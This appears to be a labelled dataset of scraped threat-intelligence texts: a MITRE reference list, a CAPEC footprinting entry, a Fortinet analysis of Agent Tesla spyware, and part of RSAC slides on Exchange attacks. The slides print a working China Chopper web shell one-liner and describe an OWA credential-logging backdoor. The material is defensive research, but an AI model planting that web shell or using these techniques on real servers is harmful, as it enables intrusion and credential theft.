(2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018. Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017. Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018. Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018. ESET. (2018, November 20). Sednit: What\xe2\x80\x99s going on with Zebrocy?. Retrieved February 12, 2019. Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019. Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019. Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019. Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019. Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019. Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: ""njRAT"" Uncovered. Retrieved June 4, 2019. Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019. Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019. Folt\xc3\xbdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018. Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018. Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018. Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\xe2\x80\x99t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016. Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018. FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017. Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018. Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016. Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016. Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016. Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018. Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016. Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016. Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017. Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019. Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019. Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"CAPEC - CAPEC-577: Owner Footprinting (Version 3.1) Common Attack Pattern Enumeration and Classification A Community Resource for Identifying and Understanding Attacks Home > CAPEC List > CAPEC-577: Owner Footprinting (Version 3.1) \xc2 ID Lookup: Home About Overview Documents Use Cases Resources Glossary FAQs CAPEC List Latest Version Downloads Reports Archive Community Community Citations Vendor Usage Discussion List Related Activities News Current News Free Newsletter CAPEC on Twitter CAPEC on News Archive Search CAPEC-577: Owner Footprinting Attack Pattern ID: 577 Abstraction: Detailed Status: Draft Presentation Filter: Basic Complete Description An adversary exploits functionality meant to identify information about the primary users on the target system to an authorized user. They may do this, for example, by reviewing logins or file modification times. By knowing what owners use the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command that may accomplish this is ""dir /A ntuser.dat"". Which will display the last modified time of a user's ntuser.dat file when run within the root folder of a user. This time is synonymous with the last time that user was logged in. Likelihood Of Attack Low Typical Severity Low Relationships The table(s) below shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore. Nature Type ID Name ChildOf Meta Attack Pattern - A meta level attack pattern in CAPEC is a decidedly abstract characterization of a specific methodology or technique used in an attack. A meta attack pattern is often void of a specific technology or implementation and is meant to provide an understanding of a high level approach. A meta level attack pattern is a generalization of related group of standard level attack patterns. Meta level attack patterns are particularly useful for architecture and design level threat modeling exercises. 169 Footprinting Prerequisites The adversary must have gained access to the target system via physical or logical means in order to carry out this attack. Administrator permissions are required to view the home folder of other users. Consequences The table below specifies different individual consequences associated with the attack pattern. The Scope identifies the security property that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in their attack. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a pattern will be used to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact. Scope Impact Likelihood Confidentiality Other Confidentiality Access Control Authorization Bypass Protection Mechanism Hide Activities Mitigations Ensure that proper permissions on files and folders are enacted to limit accessibility. Related Weaknesses A Related Weakness relationship associates a weakness with this attack pattern. Each association implies a weakness that must exist for a given attack to be successful. If multiple weaknesses are associated with the attack pattern, then any of the weaknesses (but not necessarily all) may be present for the attack to be successful. Each related weakness is identified by a CWE identifier. CWE-ID Weakness Name 200 Information Exposure Taxonomy Mappings Relevant to the ATT&CK taxonomy mapping Entry ID Entry Name 1033 System Owner/User Discovery Content History Submissions Submission Date Submitter Organization 2015-11-09 CAPEC Content Team The MITRE Corporation Modifications Modification Date Modifier Organization 2018-07-31 CAPEC Content Team The MITRE Corporation Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Related_Weaknesses, Typical_Likelihood_of_Exploit, Typical_Severity 2019-04-04 CAPEC Content Team The MITRE Corporation Updated Related_Attack_Patterns More information is available \xe2\x80\x94 Please select a different filter. Page Last Updated or Reviewed: July 31, 2018 \xc2 Use of the Common Attack Pattern Enumeration and Classification dictionary and classification taxonomy, and the associated references from this website, are subject to the Terms of Use. For more information, please email capec@mitre.org. CAPEC is sponsored by the U.S. Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA). Copyright \xc2\xa9 2007 - 2019, The MITRE Corporation. CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Privacy policy Terms of use Site Map Contact us \xc2","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Analysis of New Agent Tesla Spyware Variant Blog Business & Technology Threat Research Industry Trends Partners Threat Research Analysis of New Agent Tesla Spyware Variant By Xiaopeng Zhang | April 05, 2018 Analysis of New Agent Tesla Spyware Variant Recently, FortiGuard Labs captured a new malware sample that was spread via Microsoft Word documents.\xc2 After some quick research, I discovered that this was a new variant of the Agent Tesla spyware. I analyzed another sample of this spyware last June and published a blog about it. In this blog, I want to share what\xe2\x80\x99s new in this new variant. This malware was spread via a Microsoft Word document that contained an embedded exe file. Figure 1 below shows what it looks like when you open the Word document. Figure 1. Opening the malicious Word document As you can see, it asks the victim to double click the blue icon to enable a \xe2\x80\x9cclear view.\xe2\x80\x9d Once clicked, it extracts an exe file from the embedded object into the system\xe2\x80\x99s temporary folder and runs it.\xc2 In this case, the exe file is called \xe2\x80\x9cPOM.exe\xe2\x80\x9d. Figure 2. POM.exe is created in a temporary folder Analysis of POM.exe Figure 3. Looking at POM.exe in an analysis tool In figure 3 we can see that the malware is written in the MS Visual Basic language. Based on my analysis, it\xe2\x80\x99s a kind of installer program. When it runs, it drops two files: \xe2\x80\x9cfilename.exe\xe2\x80\x9d and \xe2\x80\x9cfilename.vbs\xe2\x80\x9d into the \xe2\x80\x9c%temp%\\subfolder\xe2\x80\x9d. It then exits the process after executing the file \xe2\x80\x9cfilename.vbs\xe2\x80\x9d.\xc2 Below, in figure 4, is the content of \xe2\x80\x9cfilename.vbs\xe2\x80\x9d. Figure 4. The content of filename.vbs To make it run automatically when the system starts, it adds itself (runs filename.vbs) to the system registry as a startup program. It then runs \xe2\x80\x9c%temp%\\filename.exe\xe2\x80\x9d.\xc2 \xc2 Figure 5. The malware adds itself into the system registry as \xe2\x80\x9cRunOnce\xe2\x80\x9d item Analysis of filename.exe When \xe2\x80\x9cfilename.exe\xe2\x80\x9d starts, like most other malware it creates a suspended child process with the same name to protect itself. It then extracts a new PE file from its resource to overwrite the child process memory. Afterwards, it resumes the execution of the child process. This is when it executes the code of that new PE file, which is the main part of this malware. Figure 6. Checking to see if the module mscorjit.dll is loaded Let\xe2\x80\x99s go on to the analysis of the child process. It first checks to see if the environment value of ""Cor_Enable_Profiling"" is set to 1, and if the modules ""mscorjit.dll"" and ""clrjit.dll"" have been loaded (see figure 6). If one of these checks is true, it exits the process without doing anything. \xc2 So far, I have no idea what the purpose of doing that is, but it is likely anti-something. If the process doesn\xe2\x80\x99t exit, it loads a named resource. The resource name is ""__"", which is a string decrypted from a local variable. \xc2 Afterwards, by calling the API functions \xe2\x80\x9cFindResource\xe2\x80\x9d and \xe2\x80\x9cLoadResource\xe2\x80\x9d, it can read the resource data to the process memory. Figure 7 shows the \xe2\x80\x9c__\xe2\x80\x9d resource in CFF Explorer. For sure, the data is encrypted. Figure 7. Encrypted \xe2\x80\x9c__\xe2\x80\x9d resource By decrypting the \xe2\x80\x9c__\xe2\x80\x9d data, we obtain another PE file, which is a .Net framework program. This is to be loaded into the child process memory. It reads sections of the .Net program into memory according to the PE file headers, imports APIs defined in the import table for .Net programs, relocates offset of the function \xe2\x80\x9c_CorExeMain\xe2\x80\x9d, as well as builds the .Net framework running environment by calling several APIs. Finally, it jumps to the entry point of the .Net program where it later jumps to \xe2\x80\x9c_CorExeMain\xe2\x80\x9d \xe2\x80\x93 which is the entry point of all .Net programs \xe2\x80\x93 to execute this .Net program. You can see in figure 8 how it jumps to the \xe2\x80\x9c_CorExeMain\xe2\x80\x9d function. Figure 8. Jumping to the entry point of the .Net program In order to further analyze the .Net program, I dumped it from the child process memory into a local file. This allowed me to launch it independently rather than running it within the child process. This also allowed me to load it into the .Net program analysis tools to analyze it. Deep analysis of the .Net program The dumped file has an incorrect PE header. I manually repaired it so that it can be executed, debugged, and parsed by .Net program analysis tools. Figure 8 shows the main function of the .Net program in an analysis tool. Figure 9. The main function of the .Net program As you may have already noticed, it uses some kind of code obfuscation technique to increase the difficulty of code analysis. In the following parts, you may see that some of the names of method, class, variable, etc. have been modified to make them understandable. All the constant strings in the .Net program are encoded and saved within a large buffer, and every string is assigned an index. Whenever it needs to use the string, it calls a function with its string index to get the string. If the string is encoded, it throws the encoded string into another function to get it decoded. In figure 10 we can see that it reads the huge string into the big buffer\xe2\x80\x94\xe2\x80\x9cPkky9noglfauhKN1Fjq.QOZ4uWBaWw\xe2\x80\x9d. Here is an example: \xe2\x80\x9cXtL6rF5GoidQVxdCxi.R6ybT342I(Pkky9noglfauhKN1Fjq.Y3LpEpC6nY(3172));\xe2\x80\x9d \xe2\x80\x9c3172\xe2\x80\x9d is the string index. The \xe2\x80\x9cPkky9noglfauhKN1Fjq.Y3LpEpC6nY\xe2\x80\x9d function picks up the string of index 3172 from that large buffer. In this case, it\xe2\x80\x99s ""hyNN5z+7qAsS695lDXLuHg=="". \xe2\x80\x9cXtL6rF5GoidQVxdCxi.R6ybT342I\xe2\x80\x9d is the decoding function. After decoding, we get the string \xe2\x80\x9cTrue\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\xe2\x80\x9d. \xc2 i.e. \xe2\x80\x9cTrue\xe2\x80\x9d. Figure 10. Reading strings in the large buffer When the main function is called, it first pauses 15 seconds by calling \xe2\x80\x9cThread::Sleep()\xe2\x80\x9d function. This allows it to potentially bypass sandbox detection. As my analysis in the previous blog showed, Agent Tesla is a spyware. It monitors and collects the victim\xe2\x80\x99s keyboard inputs, system clipboard, screen shots of the victim\xe2\x80\x99s screen, as well as collects credentials of a variety of installed software. To do that it creates many different threads and timer functions in the main function. So far, through my quick analysis, this version is similar to the older one. As I did not find much change, I won\xe2\x80\x99t talk about it more here but simply refer you to the previous blog analysis. However, the way of submitting data to the C&C server has changed. It used to use HTTP POST to send the collected data. In this variant, it uses SMTPS to send the collected data to the attacker\xe2\x80\x99s email box. Based on my analysis, the commands used in the SMTP method include \xe2\x80\x9cPasswords Recovered\xe2\x80\x9d, \xe2\x80\x9cScreen Capture\xe2\x80\x9d, and \xe2\x80\x9cKeystrokes\xe2\x80\x9d, etc.\xc2 The commands are identified within the email\xe2\x80\x99s \xe2\x80\x9cSubject\xe2\x80\x9d field. \xc2 For example: \xe2\x80\x9cSystem user name/computer name Screen Capture From: victim\xe2\x80\x99s IP\xe2\x80\x9d Here\xe2\x80\x99s an example to show you how it sends the collected credential data to the attacker\xe2\x80\x99s email address. Figure 10 shows the email content that will be sent out with my PC information along with the collected credentials. It enables an SSL function and uses TCP port 587. The \xe2\x80\x9cBody\xe2\x80\x9d field is the collected data in HTML format. The \xe2\x80\x9cSubject\xe2\x80\x9d field contains the command \xe2\x80\x9cPasswords\xc2 Recovered"" which tells the recipient that this email contains credentials. Figure 11. Email content with collected data The attacker registered a free zoho email account for this campaign to receive victims\xe2\x80\x99 credentials. Figure 11, below, shows the SMTP server and its login information. You can see the attacker\xe2\x80\x99s SMTP credential \xe2\x80\x9cUserName\xe2\x80\x9d and \xe2\x80\x9cPassword\xe2\x80\x9d as well as the SMTP server. Figure 12. Attacker\xe2\x80\x99s SMTP credential When the email is sent out through the Wireshark tool, we were able to capture the packets shown in figure 12, below. Figure 13. Collected data submission using SMTPS in wireshark As I explained above, the collected data in the mail body is in html format. I copied the html content into a local html file and was able to open it in the IE brower to see what the malware had harvested from my test enviroment. In figure 13, you can see the screenshot of my PC information along with the related credentials in an IE browser. Figure 14 Harvested Credentials Daemon program It also drops a daemon program from the .Net program\xe2\x80\x99s resource named \xe2\x80\x9cPlayer\xe2\x80\x9d into the \xe2\x80\x9c%temp%\xe2\x80\x9d folder and run it up to protect \xe2\x80\x9cfilename.exe\xe2\x80\x9d from being killed.\xc2 Figure 15. Dropping the daemon program and running it The daemon program\xe2\x80\x99s name is made up of three random letters, as you can see in figure 15. It\xe2\x80\x99s also a .Net program and its main purpose is very clear and simple. Figure 16 shows the daemon program\xe2\x80\x99s entire code in an analysis tool.\xc2 You can see that the main function receives a command line argument (for this sample, it\xe2\x80\x99s the full path to \xe2\x80\x9cfilename.exe\xe2\x80\x9d.) and saves it to a string variable called \xe2\x80\x9cfilePath\xe2\x80\x9d. It creates a thread, and in the thread function it checks to see if the file \xe2\x80\x9cfilename.exe\xe2\x80\x9d is running in each 900 millisecond. It runs it again whenever the \xe2\x80\x9cfilename.exe\xe2\x80\x9d is killed. Figure 16. Daemon program code Solution The file \xe2\x80\x9cPPSATV.doc\xe2\x80\x9d has been detected as \xe2\x80\x9cW32/VBKrypt.DWSS!tr\xe2\x80\x9d, and \xe2\x80\x9cPOM.exe\xe2\x80\x9d has been detected as \xe2\x80\x9cW32/VBKrypt.DWSS!tr\xe2\x80\x9d by FortiGuard AntiVirus service. We have informed \xc2 Zoho of the email account which is being used in this AgentTesla campaign. IoC: Sample SHA256: PPSATV.doc 13E9CDE3F15E642E754AAE63259BB79ED08D1ACDA93A3244862399C44703C007 POM.exe A859765D990F1216F65A8319DBFE52DBA7F24731FBD2672D8D7200CC236863D7 filename.exe B4F81D9D74E010714CD227D3106B5E70928D495E3FD54F535B665F25EB581D3A Random name daemon program C2CAE82E01D954E3A50FEAEBCD3F75DE7416A851EA855D6F0E8AAAC84A507CA3 \xc2 \xc2 Check out our latest\xc2 Quarterly Threat Landscape report for Q4\xc2 of 2017 for more details about recent threats. Sign up for our weekly FortiGuard\xc2 intel briefs\xc2 or\xc2 to be a part of our\xc2 open beta\xc2 of Fortinet\xe2\x80\x99s FortiGuard Threat Intelligence Service. Tags: malware, network security, spyware, variant, cybersecurity, ms word Related Posts Threat Research Security Research News in Brief - October 2017 Edition Industry Trends Best Practices to Help Safeguard Your Organization for the Internet of Things Threat Research IRS Notification? No, It is a Scam News & Articles News Releases News Articles Trademarks Security Research Threat Research FortiGuard Labs Threat Map Threat Briefs Ransomware Connect With Us Blog Fuse Company About Us Why Fortinet Security Fabric Exec Mgmt Careers Certifications Events Industry Awards Contact Us (866) 868-3678 Copyright \xc2\xa9 2019 Fortinet, Inc. All Rights Reserved Terms of Services Privacy Policy","0","0","0","1","0","0","1","0","1","1","1","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"SESSION ID:SESSION ID: #RSAC Steven Adair Detecting and Responding to Advanced Threats within Exchange Environments HTA-F02 President Volexity, Inc. @stevenadair #RSAC About Me 2 Founder & President at Volexity Former Director of Cyber Intelligence at Verizon Terremark Previously stood-up and ran NASA\xe2\x80\x99s Cyber Threat Analysis Program (CTAP) Longtime Shadowserver member Co-author of the book Malware Analyst\xe2\x80\x99s Cookbook Assist organizations with combating cyber espionage, suppressing attacks, and eradicating threats from their networks. #RSAC Agenda 3 Why Exchange? What Attackers are Doing with Exchange Easy Mode (Phishing) Advanced Mode ([Web] Shells) Expert Mode (Digital Surveillance, Exfiltration, PowerShell) Detection and Defense Get back in the driver\xe2\x80\x99s seat #RSAC Applying Knowledge from Today\xe2\x80\x99s Presentation 4 By the end of this session.. You should have a firm understanding of how and why Exchange is such a large target and how it is being abused Immediately following this presentation you will be given: A URL with a cheat sheet of all the commands we show in the slides (no need to rush to write them down) My contact information if you have any questions or follow up In the weeks and months to follow you should: Be able to search for signs of compromise on your Exchange server in a going forward basis Tighten security settings to make it more difficult for an intruder to compromise your environment or at least go undetected #RSAC Microsoft Exchange A Critical Target? #RSAC Why Exchange? 6 Absolutely critical infrastructure for most organizations Facilitates both internal and external communication If e-mail doesn\xe2\x80\x99t work, the business isn\xe2\x80\x99t working Your business is big business to others\xe2\x80\x93 this infrastructure has critical importance to an attacker Business Intelligence Intellectual Property Contacts #RSAC Why Exchange? Cont\xe2\x80\x99d\xe2\x80\xa6 7 In many organizations Exchange servers are: One of the only systems exposed to the Internet Generally not segmented from the LAN and tied into Domain Not monitored very closely Connections are typically SSL/TLS encrypted Frequently load balanced and spread amongst many servers Extremely noisy and high-traffic (bandwidth and connections) IT Security teams often don\xe2\x80\x99t know what\xe2\x80\x99s \xe2\x80\x9cnormal\xe2\x80\x9d #RSAC Easy Mode: Phishing Attackers Don\xe2\x80\x99t Need to be Advanced #RSAC Webmail Phishing \xe2\x80\x93 Keep it Simple 9 Pros Easy / Low barrier to entry In a sizable organization, someone will fall victim Quick and easy e-mail access Cons May not be as effective against specific targets or smaller organizations No guarantee anything interesting in e-mail Wider the cast net of targets, higher odds of being detected #RSAC Who Phishes? 10 419 Scammer UK Lottery / Family Member Killed in Plane Crash in Nigeria Low Threat Hacktivists - Syrian Electronic Army (SEA) Access e-mail looking for Twitter and social media passwords Moderate/High Threat APT \xe2\x80\x93 Common from CN and RU groups Steal Data, Man-in-the-Mailbox, and Pivot to Network Access High Threat #RSAC Phishing Page? Real or Fake? 11 #RSAC APT Webmail Phishing: Wekby 12 Wekby Responsible for several high-profile public breaches Frequently launches campaigns with malware and phishing \xe2\x80\x94 Fake Adobe Flash or Microsoft Update \xe2\x80\x94 Citrix Login Phishing \xe2\x80\x94 OWA Phishing Not overly sophisticated but wildly successful \xef\x81\x8c \xe2\x80\x94 Attacker use what works and this group is proof of that #RSAC Wekby: Past Campaigns (Public) 13 #RSAC Wekby: Malware Only -> Phishing 14 Initially operated with sophisticated exploits SWC/Drive-by sites and Weaponized documents (Flash 0days) 0day privilege escalation (standalone and built-in exploits) Turned to low budget spamming links to EXEs or ZIPs with EXEs Installing Poison Ivy, Gh0st RAT, Remote RSS, Token Control (HTTP Browser), \xe2\x80\x9cKillYou\xe2\x80\x9d backdoor Started including phishing of user credentials ~2013 Citrix OWA #RSAC Wekby Malware Campaign 15 #RSAC Simultaneous OWA Phishing Campaign 16 #RSAC Wekby OWA Phishing Website 17 #RSAC Wekby: Malware Only -> Phishing 18 If malware campaign is not successful \xe2\x80\x93 phished credentials are the next best thing. Immediately attempt to use credentials on any resource that provides remote network access: Open Terminal Services / RDP Web / SSL VPN Citrix / Moka5 / VNC #RSAC Easy Mode APT Phishing Defenses 19 Security Awareness Training Running Quarterly Live Phishing Exercises \xe2\x9c\x93 Two-Factor Authentication for OWA \xe2\x9c\x93 Mobile Device Management for Phones (ActiveSync) \xe2\x9c\x93 IP Address Restriction for Outlook Anywhere (Thick Clients) #RSAC Two-Factor OWA: Duo Post-Login 20 #RSAC Advanced Mode: [Web] Shells Attackers Hiding in Plain Sight #RSAC Shell, Shells, and More Shells 22 More sophisticated APT actors with a foothold in an organization are focusing efforts on OWA servers Fall back persistence shells Primary access into network (malware that doesn\xe2\x80\x99t beacon) Two main methods for backdooring OWA Typical \xe2\x80\x9dChina Chopper\xe2\x80\x9d webshell Custom compiled DLL as HTTP Module #RSAC ASP.NET Webshell 23 We still see ASPXSpy and other full featured (large) backdoors but the consistent move has been to China Chopper. Sample file named \xe2\x80\x9cowa.aspx\xe2\x80\x9d: <%@ Page Language=""Jscript""%><%eval(Request.Item[""chopper""], ""unsafe"");%> #RSAC OWA Access and Shell Placement 24 Standard URL to access OWA at a path similar to: https://mail.domain.com/owa/auth/logon.aspx Where do you think we would find the file owa.aspx? https://mail.domain.com/owa/auth/owa.aspx #RSAC Shell Disk Placement 25 Attackers with administrative access typically place the shells in the following web directories: \\Program Files\\Microsoft\\Exchange Server\\V14\\ClientAccess\\owa\\auth\\ \\inetpub\\wwwroot\\aspnet_client\\system_web\\2_0_5072\\ #RSAC Custom .NET DLL Backdoors! 26 Since at least 2012, APT attackers have been making custom .NET compiled binaries to backdoor OWA servers. Several revisions of the backdoors have supported the following: Shell Execution (China Chopper compatible) Shell Execution + Unencrypted Credential Logging Shell Execution + Encrypted Credential Logging #RSAC How do they do it? 27 Similar to the ASP.NET shell, they place a .DLL in the bin directory of one of OWA\xe2\x80\x99s virtual sites The attackers then modify the web.config file to load the module Commonly used directories: \\Program Files\\Microsoft\\Exchange Server\\V14\\ClientAccess\\owa\\bin \\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\bin Most commonly observed backdoor file names: OwaAuth.DLL Microsoft.Exchange.Clients.Auth.dll #RSAC web.config | Bonus Module! 28 This is what a normal / typical web.config might look like: Here\xe2\x80\x99s what a modified web.config looks like: #RSAC Microsoft.Exchange.Clients.Auth.dll 29 Some interesting strings from the DLL c:\\log\\text.txt Name: , Type: /auth.owa UserName: username , Password: password x.aspx #RSAC Microsoft.Exchange.Clients.Auth.dll 30 Some interesting strings from the DLL c:\\log\\text.txt <- file for logged credentials Name: , Type: /auth.owa <- filename where OWA credentials are sent UserName: username <- OWA username variable for input box , Password: password <- OWA password variable for input box x.aspx #RSAC Notes on the new version 31 Written in .NET C# Logs \xe2\x80\x9ccaptured\xe2\x80\x9d data with Base64 and DES in CBC mode All observed samples the DES key and IV have been the same value we have seen some custom ones and frequently \xe2\x80\x9c12345678\xe2\x80\x9d Logs are tab separated like ""{0}\\t{1}\\t{2}\\t{3}\\t{4}\\t{5}"" where: {0} = two random numbers between 0-999 multiplied together {1} = current time {2} = remote IP address {3} = username {4} = password {5} = user agent #RSAC Notes on the new version \xe2\x80\x93 log.txt 32 Sample log.txt might look like: BqAJ3yDfJJohcjbFEqByny7+q6yfR9bO01XBuHYfAWo6bSeLBaswm70gZq+21a862vWUAX3 M7CMF7WVbhdsM2lsoLOx82+MdwzqurgVoKZPy6tFvEZEDVuI7PxbeIHKReono3xEkmH9s 8dCigjLCKJ34qf9YH1nhuhBqzBVabSs0Tw6Fz7/zX2ktEbEEPMqCw+g2vMAEBNlzM872Two U+YKjGF8VX3dIBGvqwP4EbFq+0ZCg/fh3ag== Decoded: 239073 3/2/2015 10:22:09 AM x.x.x.x Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 #RSAC Features and Capabilities 33 Passed via z1= and z2= and command code: Code 0: get logical drive strings Code 1: directory listing (shows name and last write time) Code 2: reading a file (download) Code 3: writing a file (upload) Code 4: delete a directory Code 5: appears to just be an echo (writes ""- >|text|<-"" onto the page, where ""text"" is the Z1 value Code 6: writes a byte stream to disk Code 7: copy a directory's contents Code 8: move a file or directory Code 9: create a directory Code 10: set a file or directory's creation, access, write times to a specified time Code 11: forces the victim server to initiate a GET request to another URL and download the file Code 12: execute a process with redirected stdout/stderr, and report the results Code 13: connect to an SQL database Code 14 and 15: exporting the database schema and column information Code 16: issue an SQL SELECT, EXEC, or DECLARE statement Code 17: issue a non-query based SQL command #RSAC Interesting pdb strings 34 D:\\HttpsExts\\HttpsExts\\obj\\Release\\OwaAuth.pdb C:\\Users\\SyberSpace\\Desktop\\owa\\HttpsExts\\Https Exts\\HttpsExts\\obj\\Release\\OwaAuth.pdb \\Users\\ljw\\Documents\\prj\\dllshell\\Dllshell\\Dlls hellexc2007\\obj\\Release\\Microsoft.Exchange.Clie nts.Auth.pdb #RSAC Logged! 35 Signs of the attacker\xe2\x80\x99s activity have been captured on the OWA server by Exchange\xe2\x80\x99s Client Access Server (CAS) logs. CAS logs are IIS logs that record access into an Exchange environment. In particular systems connecting via OWA, Outlook Anywhere, and ActiveSync. It turns out that a CAS log are a pretty great resource: log access to webshells and data exfiltration files log attackers that are using or attempting to use [stolen] credentials Bonus: an easy way to find what user is on a particular internal IP address. #RSAC China Chopper User-Agents 36 Popular China Chopper User-Agents: Mozilla/4.0 